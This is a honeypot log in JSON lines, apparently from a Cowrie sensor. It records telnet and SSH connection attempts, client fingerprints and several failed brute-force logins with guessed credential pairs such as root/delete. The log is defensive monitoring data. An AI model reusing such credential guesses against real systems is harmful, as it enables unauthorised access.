{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":46770,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca32f022488","protocol":"telnet","message":"New connection: 80.241.210.166:46770 (10.17.0.5:23) [session: 5ca32f022488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:12.964091Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53006,"dst_ip":"159.203.135.109","dst_port":23,"session":"889660be90fb","protocol":"telnet","message":"New connection: 192.119.108.58:53006 (159.203.135.109:23) [session: 889660be90fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:13.092075Z"}
{"eventid":"cowrie.session.closed","duration":30.269502878189087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:13.143849Z","src_ip":"192.119.108.58","session":"f9da9c6e4409","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93016743659973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:13.652883Z","src_ip":"80.241.210.166","session":"e2160acde96d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.827194929122925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:14.482503Z","src_ip":"192.119.108.58","session":"c72389ae1b1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904767513275146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:15.292474Z","src_ip":"192.119.108.58","session":"3e9a83463c4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.133812189102173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:15.384078Z","src_ip":"80.241.210.166","session":"314ddec6798d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54240,"dst_ip":"159.203.135.109","dst_port":23,"session":"7651e0a89f99","protocol":"telnet","message":"New connection: 192.119.108.58:54240 (159.203.135.109:23) [session: 7651e0a89f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:15.738408Z"}
{"eventid":"cowrie.session.closed","duration":30.73692488670349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:16.152954Z","src_ip":"192.119.108.58","session":"359fda6d7cb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":55322,"dst_ip":"159.203.135.109","dst_port":23,"session":"925be6f1030b","protocol":"telnet","message":"New connection: 192.119.108.58:55322 (159.203.135.109:23) [session: 925be6f1030b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:17.321350Z"}
{"eventid":"cowrie.session.closed","duration":30.519248723983765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:18.055699Z","src_ip":"162.241.141.97","session":"f92902a98563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":48376,"dst_ip":"159.203.135.109","dst_port":22,"session":"59aeaf526aa4","protocol":"ssh","message":"New connection: 191.255.52.36:48376 (159.203.135.109:22) [session: 59aeaf526aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:19.093037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:19.118336Z","src_ip":"191.255.52.36","session":"59aeaf526aa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:19.256570Z","src_ip":"191.255.52.36","session":"59aeaf526aa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":51176,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bce5c8e7866","protocol":"telnet","message":"New connection: 80.241.210.166:51176 (10.17.0.5:23) [session: 7bce5c8e7866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:19.706585Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"admin","message":"login attempt [ftpuser/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:19.927808Z","src_ip":"191.255.52.36","session":"59aeaf526aa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":45398,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c679b75bf34","protocol":"telnet","message":"New connection: 80.241.210.166:45398 (10.17.0.5:23) [session: 5c679b75bf34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:19.993238Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:21.120810Z","src_ip":"191.255.52.36","session":"59aeaf526aa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.452588081359863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:21.252645Z","src_ip":"192.119.108.58","session":"77215e8605d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92403483390808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:22.028350Z","src_ip":"192.119.108.58","session":"aa5ffede3cc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":60540,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cf9390edc12","protocol":"ssh","message":"New connection: 5.182.83.231:60540 (10.17.0.5:22) [session: 9cf9390edc12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:22.947087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:22.954415Z","src_ip":"5.182.83.231","session":"9cf9390edc12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:23.074029Z","src_ip":"5.182.83.231","session":"9cf9390edc12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"delete","message":"login attempt [root/delete] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:23.578980Z","src_ip":"5.182.83.231","session":"9cf9390edc12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.162394285202026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:24.305906Z","src_ip":"162.241.141.97","session":"542b0b8fd76e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":60914,"dst_ip":"159.203.135.109","dst_port":23,"session":"f177f70c17c3","protocol":"telnet","message":"New connection: 192.119.108.58:60914 (159.203.135.109:23) [session: f177f70c17c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:24.424801Z"}
{"eventid":"cowrie.session.closed","duration":30.964999675750732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:24.609790Z","src_ip":"192.119.108.58","session":"97b974079701","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:24.701494Z","src_ip":"5.182.83.231","session":"9cf9390edc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33908,"dst_ip":"159.203.135.109","dst_port":23,"session":"f996d8dc62cc","protocol":"telnet","message":"New connection: 192.119.108.58:33908 (159.203.135.109:23) [session: f996d8dc62cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:26.355027Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":35140,"dst_ip":"10.17.0.5","dst_port":23,"session":"e10d14ca6455","protocol":"telnet","message":"New connection: 80.241.210.166:35140 (10.17.0.5:23) [session: e10d14ca6455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:26.579758Z"}
{"eventid":"cowrie.session.closed","duration":31.914775609970093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:27.040033Z","src_ip":"80.241.210.166","session":"afa84e84e728","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33732,"dst_ip":"159.203.135.109","dst_port":23,"session":"52453a86cd23","protocol":"telnet","message":"New connection: 192.119.108.58:33732 (159.203.135.109:23) [session: 52453a86cd23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:27.110576Z"}
{"eventid":"cowrie.session.closed","duration":30.708945989608765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:27.381872Z","src_ip":"80.241.210.166","session":"6c282884f9b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80392551422119,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:28.290493Z","src_ip":"192.119.108.58","session":"dce32a1c6555","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":38352,"dst_ip":"10.17.0.5","dst_port":23,"session":"a87185d56edb","protocol":"telnet","message":"New connection: 80.241.210.166:38352 (10.17.0.5:23) [session: a87185d56edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:29.336599Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39018,"dst_ip":"159.203.135.109","dst_port":23,"session":"0be847def01d","protocol":"telnet","message":"New connection: 192.119.108.58:39018 (159.203.135.109:23) [session: 0be847def01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:33.847993Z"}
{"eventid":"cowrie.session.closed","duration":30.717978477478027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:36.194846Z","src_ip":"192.119.108.58","session":"d84f885ec977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162763357162476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:37.234726Z","src_ip":"192.119.108.58","session":"dcb6f818b870","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27536177635193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:40.207368Z","src_ip":"80.241.210.166","session":"30b8318d7833","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44854,"dst_ip":"159.203.135.109","dst_port":23,"session":"d815bfc4d501","protocol":"telnet","message":"New connection: 192.119.108.58:44854 (159.203.135.109:23) [session: d815bfc4d501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:43.951061Z"}
{"eventid":"cowrie.session.closed","duration":31.174728393554688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:44.138721Z","src_ip":"80.241.210.166","session":"5ca32f022488","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22688364982605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:44.318861Z","src_ip":"192.119.108.58","session":"889660be90fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45254,"dst_ip":"159.203.135.109","dst_port":23,"session":"499451b114ca","protocol":"telnet","message":"New connection: 192.119.108.58:45254 (159.203.135.109:23) [session: 499451b114ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:44.530678Z"}
{"eventid":"cowrie.session.closed","duration":30.55832529067993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:46.296580Z","src_ip":"192.119.108.58","session":"7651e0a89f99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":58496,"dst_ip":"10.17.0.5","dst_port":23,"session":"62a950ba90d1","protocol":"telnet","message":"New connection: 80.241.210.166:58496 (10.17.0.5:23) [session: 62a950ba90d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:46.375423Z"}
{"eventid":"cowrie.session.closed","duration":30.90258502960205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:48.223824Z","src_ip":"192.119.108.58","session":"925be6f1030b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55160689353943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:50.258084Z","src_ip":"80.241.210.166","session":"7bce5c8e7866","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":33898,"dst_ip":"10.17.0.5","dst_port":23,"session":"24ddf6562ad6","protocol":"telnet","message":"New connection: 80.241.210.166:33898 (10.17.0.5:23) [session: 24ddf6562ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:50.821582Z"}
{"eventid":"cowrie.session.closed","duration":31.118908166885376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:51.112036Z","src_ip":"80.241.210.166","session":"5c679b75bf34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77843165397644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:55.203118Z","src_ip":"192.119.108.58","session":"f177f70c17c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":39854,"dst_ip":"10.17.0.5","dst_port":23,"session":"342ca5161ccf","protocol":"telnet","message":"New connection: 80.241.210.166:39854 (10.17.0.5:23) [session: 342ca5161ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:55.859306Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":41502,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0cc2d1544c2","protocol":"telnet","message":"New connection: 80.241.210.166:41502 (10.17.0.5:23) [session: c0cc2d1544c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:56.375997Z"}
{"eventid":"cowrie.session.closed","duration":31.103674173355103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:57.683073Z","src_ip":"80.241.210.166","session":"e10d14ca6455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53418,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b43a68da4a","protocol":"telnet","message":"New connection: 192.119.108.58:53418 (159.203.135.109:23) [session: 12b43a68da4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:57.730197Z"}
{"eventid":"cowrie.session.closed","duration":31.58233094215393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:57.937265Z","src_ip":"192.119.108.58","session":"f996d8dc62cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":58180,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f43fe8192fa","protocol":"ssh","message":"New connection: 191.255.52.36:58180 (159.203.135.109:22) [session: 8f43fe8192fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:58.274597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:58.279127Z","src_ip":"191.255.52.36","session":"8f43fe8192fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.290584802627563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:58.401029Z","src_ip":"192.119.108.58","session":"52453a86cd23","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:58.424252Z","src_ip":"191.255.52.36","session":"8f43fe8192fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop1234","message":"login attempt [root/qwertyuiop1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:59.026674Z","src_ip":"191.255.52.36","session":"8f43fe8192fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:00.228274Z","src_ip":"191.255.52.36","session":"8f43fe8192fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.30753493309021,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:00.644028Z","src_ip":"80.241.210.166","session":"a87185d56edb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":40108,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df7c27149ce","protocol":"telnet","message":"New connection: 80.241.210.166:40108 (10.17.0.5:23) [session: 2df7c27149ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:02.497355Z"}
{"eventid":"cowrie.session.closed","duration":30.51790452003479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:04.365797Z","src_ip":"192.119.108.58","session":"0be847def01d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":50506,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e4339659773","protocol":"telnet","message":"New connection: 80.241.210.166:50506 (10.17.0.5:23) [session: 2e4339659773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:05.213992Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":44220,"dst_ip":"10.17.0.5","dst_port":23,"session":"50dc77411541","protocol":"telnet","message":"New connection: 80.241.210.166:44220 (10.17.0.5:23) [session: 50dc77411541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:05.826435Z"}
{"eventid":"cowrie.session.closed","duration":0.08652472496032715,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:05.912858Z","src_ip":"80.241.210.166","session":"50dc77411541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36850,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e86b7f5af4a","protocol":"telnet","message":"New connection: 192.119.108.58:36850 (159.203.135.109:23) [session: 7e86b7f5af4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:11.119194Z"}
{"eventid":"cowrie.session.closed","duration":30.34534192085266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:14.296274Z","src_ip":"192.119.108.58","session":"d815bfc4d501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.402634859085083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:15.933214Z","src_ip":"192.119.108.58","session":"499451b114ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41696,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3f7988924b9","protocol":"telnet","message":"New connection: 192.119.108.58:41696 (159.203.135.109:23) [session: f3f7988924b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:25:16.547371Z"}
